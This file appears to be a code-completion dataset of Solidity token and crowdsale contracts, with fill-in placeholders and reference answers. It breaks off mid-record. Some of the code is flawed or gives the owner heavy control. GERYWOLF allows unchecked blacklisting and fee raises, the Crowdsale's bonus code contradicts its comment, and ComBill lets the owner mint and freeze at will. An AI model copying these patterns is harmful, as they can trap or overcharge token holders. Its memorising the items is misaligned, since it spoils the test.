function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setProtections() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | contract GERYWOLF is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "GERYWOLF";
string private constant _symbol = "WOLF";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e11 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 6;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 3;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1250000000 * 10**9;
uint256 public _maxWalletSize = 2500000000 * 10**9;
uint256 public _swapTokensAtAmount = 12500000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
<FILL_FUNCTION>
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setProtections() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} |
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
| constructor() | constructor() |
19595 | Crowdsale | null | contract Crowdsale is Pausable {
using SafeMath for uint256;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
// Crowdsale opening time
uint256 public openingTime;
// Crowdsale closing time
uint256 public closingTime;
// Crowdsale duration in days
uint256 public duration;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor() public {<FILL_FUNCTION_BODY> }
/**
* @dev Returns the rate of tokens per wei at the present time.
* Note that, as price _increases_ with time, the rate _decreases_.
* @return The number of tokens a buyer gets per wei at a given time
*/
function getCurrentRate() public view returns (uint256) {
if (now <= openingTime.add(30 days)) return rate.add(rate*4/10); // bonus 40% first 30 days
if (now > openingTime.add(30 days) && now <= openingTime.add(60 days)) return rate.add(rate/5); // bonus 20% first 30 days
if (now > openingTime.add(60 days) && now <= openingTime.add(90 days)) return rate.add(rate/2); // bonus 10% first 30 days
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_forwardFunds();
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal whenNotPaused {
require(_beneficiary != address(0));
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 currentRate = getCurrentRate();
return currentRate.mul(_weiAmount);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
/**
* @dev called by the owner to withdraw unsold tokens
*/
function unsoldTokens() public onlyOwner {
uint256 unsold = token.balanceOf(this);
token.transfer(owner, unsold);
}
} | contract Crowdsale is Pausable {
using SafeMath for uint256;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
// Crowdsale opening time
uint256 public openingTime;
// Crowdsale closing time
uint256 public closingTime;
// Crowdsale duration in days
uint256 public duration;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
<FILL_FUNCTION>
/**
* @dev Returns the rate of tokens per wei at the present time.
* Note that, as price _increases_ with time, the rate _decreases_.
* @return The number of tokens a buyer gets per wei at a given time
*/
function getCurrentRate() public view returns (uint256) {
if (now <= openingTime.add(30 days)) return rate.add(rate*4/10); // bonus 40% first 30 days
if (now > openingTime.add(30 days) && now <= openingTime.add(60 days)) return rate.add(rate/5); // bonus 20% first 30 days
if (now > openingTime.add(60 days) && now <= openingTime.add(90 days)) return rate.add(rate/2); // bonus 10% first 30 days
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_forwardFunds();
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal whenNotPaused {
require(_beneficiary != address(0));
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 currentRate = getCurrentRate();
return currentRate.mul(_weiAmount);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
/**
* @dev called by the owner to withdraw unsold tokens
*/
function unsoldTokens() public onlyOwner {
uint256 unsold = token.balanceOf(this);
token.transfer(owner, unsold);
}
} |
rate = 4000;
wallet = 0x3CB0F6d4Fc022348Cf75Cdb2C2E04492975e4d30;
token = ERC20(0x0c537C661B28a4EF16AB27BEd46111473a6bd08d);
duration = 120 days;
openingTime = now; // Determined by start()
closingTime = openingTime + duration; // Determined by start()
| constructor() public | constructor() public |
79016 | SnowDaqBuilderInstance | isSnowDaqSoldOut | contract SnowDaqBuilderInstance is ERC721Full {
//MODIFIERS
modifier onlyValidSender() {
SnowDaqRegistry nftg_registry = SnowDaqRegistry(snowDaqRegistryContract);
bool is_valid = nftg_registry.isValidSnowDaqSender(msg.sender);
require(is_valid==true);
_;
}
//CONSTANTS
// how many nifties this contract is selling
// used for metadat retrieval
uint public numNiftiesCurrentlyInContract;
//id of this contract for metadata server
uint public contractId;
//baseURI for metadata server
string public baseURI;
// //name of creator
// string public creatorName;
string public nameOfCreator;
//snowDaq registry contract
address public snowDaqRegistryContract = 0x8FC05c79D7D725D425e0c9Fe2EE6dE48E57AE792;
//master builder - ONLY DOES STATIC CALLS
address public masterBuilderContract = 0x5eea5Cd7D911cB64C2Ca97C7B4257BB8278BEb47;
using Counters for Counters.Counter;
//MAPPINGS
//mappings for token Ids
mapping (uint => Counters.Counter) public _numSnowDaqMinted;
mapping (uint => uint) public _numSnowDaqPermitted;
mapping (uint => uint) public _snowDaqPrice;
mapping (uint => string) public _snowDaqIPFSHashes;
mapping (uint => bool) public _IPFSHashHasBeenSet;
//EVENTS
//purchase + creation events
event SnowDaqPurchased(address _buyer, uint256 _amount, uint _tokenId);
event SnowDaqCreated(address new_owner, uint _snowDaqType, uint _tokenId);
//CONSTRUCTOR FUNCTION
constructor(
string memory _name,
string memory _symbol,
uint contract_id,
uint num_nifties,
uint[] memory snowDaq_quantities,
string memory base_uri,
string memory name_of_creator) ERC721Full(_name, _symbol) public {
//set local variables based on inputs
contractId = contract_id;
numNiftiesCurrentlyInContract = num_nifties;
baseURI = base_uri;
nameOfCreator = name_of_creator;
//offset starts at 1 - there is no snowDaqType of 0
for (uint i=0; i<(num_nifties); i++) {
_numSnowDaqPermitted[i+1] = snowDaq_quantities[i];
}
}
function setSnowDaqIPFSHash(uint snowDaqType,
string memory ipfs_hash) onlyValidSender public {
//can only be set once
if (_IPFSHashHasBeenSet[snowDaqType] == true) {
revert("Can only be set once");
} else {
_snowDaqIPFSHashes[snowDaqType] = ipfs_hash;
_IPFSHashHasBeenSet[snowDaqType] = true;
}
}
function isSnowDaqSoldOut(uint snowDaqType) public view returns (bool) {<FILL_FUNCTION_BODY> }
function giftSnowDaq(address collector_address,
uint snowDaqType) onlyValidSender public {
//master for static calls
BuilderMaster bm = BuilderMaster(masterBuilderContract);
_numSnowDaqMinted[snowDaqType].increment();
//check if this snowDaq is sold out
if (isSnowDaqSoldOut(snowDaqType)==true) {
revert("SnowDaq sold out!");
}
//mint a snowDaq
uint specificTokenId = _numSnowDaqMinted[snowDaqType].current();
uint tokenId = bm.encodeTokenId(contractId, snowDaqType, specificTokenId);
string memory tokenIdStr = bm.uint2str(tokenId);
string memory tokenURI = bm.strConcat(baseURI, tokenIdStr);
string memory ipfsHash = _snowDaqIPFSHashes[snowDaqType];
//mint token
_mint(collector_address, tokenId);
_setTokenURI(tokenId, tokenURI);
_setTokenIPFSHash(tokenId, ipfsHash);
//do events
emit SnowDaqCreated(collector_address, snowDaqType, tokenId);
}
} | contract SnowDaqBuilderInstance is ERC721Full {
//MODIFIERS
modifier onlyValidSender() {
SnowDaqRegistry nftg_registry = SnowDaqRegistry(snowDaqRegistryContract);
bool is_valid = nftg_registry.isValidSnowDaqSender(msg.sender);
require(is_valid==true);
_;
}
//CONSTANTS
// how many nifties this contract is selling
// used for metadat retrieval
uint public numNiftiesCurrentlyInContract;
//id of this contract for metadata server
uint public contractId;
//baseURI for metadata server
string public baseURI;
// //name of creator
// string public creatorName;
string public nameOfCreator;
//snowDaq registry contract
address public snowDaqRegistryContract = 0x8FC05c79D7D725D425e0c9Fe2EE6dE48E57AE792;
//master builder - ONLY DOES STATIC CALLS
address public masterBuilderContract = 0x5eea5Cd7D911cB64C2Ca97C7B4257BB8278BEb47;
using Counters for Counters.Counter;
//MAPPINGS
//mappings for token Ids
mapping (uint => Counters.Counter) public _numSnowDaqMinted;
mapping (uint => uint) public _numSnowDaqPermitted;
mapping (uint => uint) public _snowDaqPrice;
mapping (uint => string) public _snowDaqIPFSHashes;
mapping (uint => bool) public _IPFSHashHasBeenSet;
//EVENTS
//purchase + creation events
event SnowDaqPurchased(address _buyer, uint256 _amount, uint _tokenId);
event SnowDaqCreated(address new_owner, uint _snowDaqType, uint _tokenId);
//CONSTRUCTOR FUNCTION
constructor(
string memory _name,
string memory _symbol,
uint contract_id,
uint num_nifties,
uint[] memory snowDaq_quantities,
string memory base_uri,
string memory name_of_creator) ERC721Full(_name, _symbol) public {
//set local variables based on inputs
contractId = contract_id;
numNiftiesCurrentlyInContract = num_nifties;
baseURI = base_uri;
nameOfCreator = name_of_creator;
//offset starts at 1 - there is no snowDaqType of 0
for (uint i=0; i<(num_nifties); i++) {
_numSnowDaqPermitted[i+1] = snowDaq_quantities[i];
}
}
function setSnowDaqIPFSHash(uint snowDaqType,
string memory ipfs_hash) onlyValidSender public {
//can only be set once
if (_IPFSHashHasBeenSet[snowDaqType] == true) {
revert("Can only be set once");
} else {
_snowDaqIPFSHashes[snowDaqType] = ipfs_hash;
_IPFSHashHasBeenSet[snowDaqType] = true;
}
}
<FILL_FUNCTION>
function giftSnowDaq(address collector_address,
uint snowDaqType) onlyValidSender public {
//master for static calls
BuilderMaster bm = BuilderMaster(masterBuilderContract);
_numSnowDaqMinted[snowDaqType].increment();
//check if this snowDaq is sold out
if (isSnowDaqSoldOut(snowDaqType)==true) {
revert("SnowDaq sold out!");
}
//mint a snowDaq
uint specificTokenId = _numSnowDaqMinted[snowDaqType].current();
uint tokenId = bm.encodeTokenId(contractId, snowDaqType, specificTokenId);
string memory tokenIdStr = bm.uint2str(tokenId);
string memory tokenURI = bm.strConcat(baseURI, tokenIdStr);
string memory ipfsHash = _snowDaqIPFSHashes[snowDaqType];
//mint token
_mint(collector_address, tokenId);
_setTokenURI(tokenId, tokenURI);
_setTokenIPFSHash(tokenId, ipfsHash);
//do events
emit SnowDaqCreated(collector_address, snowDaqType, tokenId);
}
} |
if (snowDaqType > numNiftiesCurrentlyInContract) {
return true;
}
if (_numSnowDaqMinted[snowDaqType].current() > _numSnowDaqPermitted[snowDaqType]) {
return (true);
} else {
return (false);
}
| function isSnowDaqSoldOut(uint snowDaqType) public view returns (bool) | function isSnowDaqSoldOut(uint snowDaqType) public view returns (bool) |
40185 | ComBillAdvancedToken | transferFrom | contract ComBillAdvancedToken is owned, ComBillToken, SafeMath {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function ComBillAdvancedToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) ComBillToken(initialSupply, tokenName, tokenSymbol) public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> }
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function approvedAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
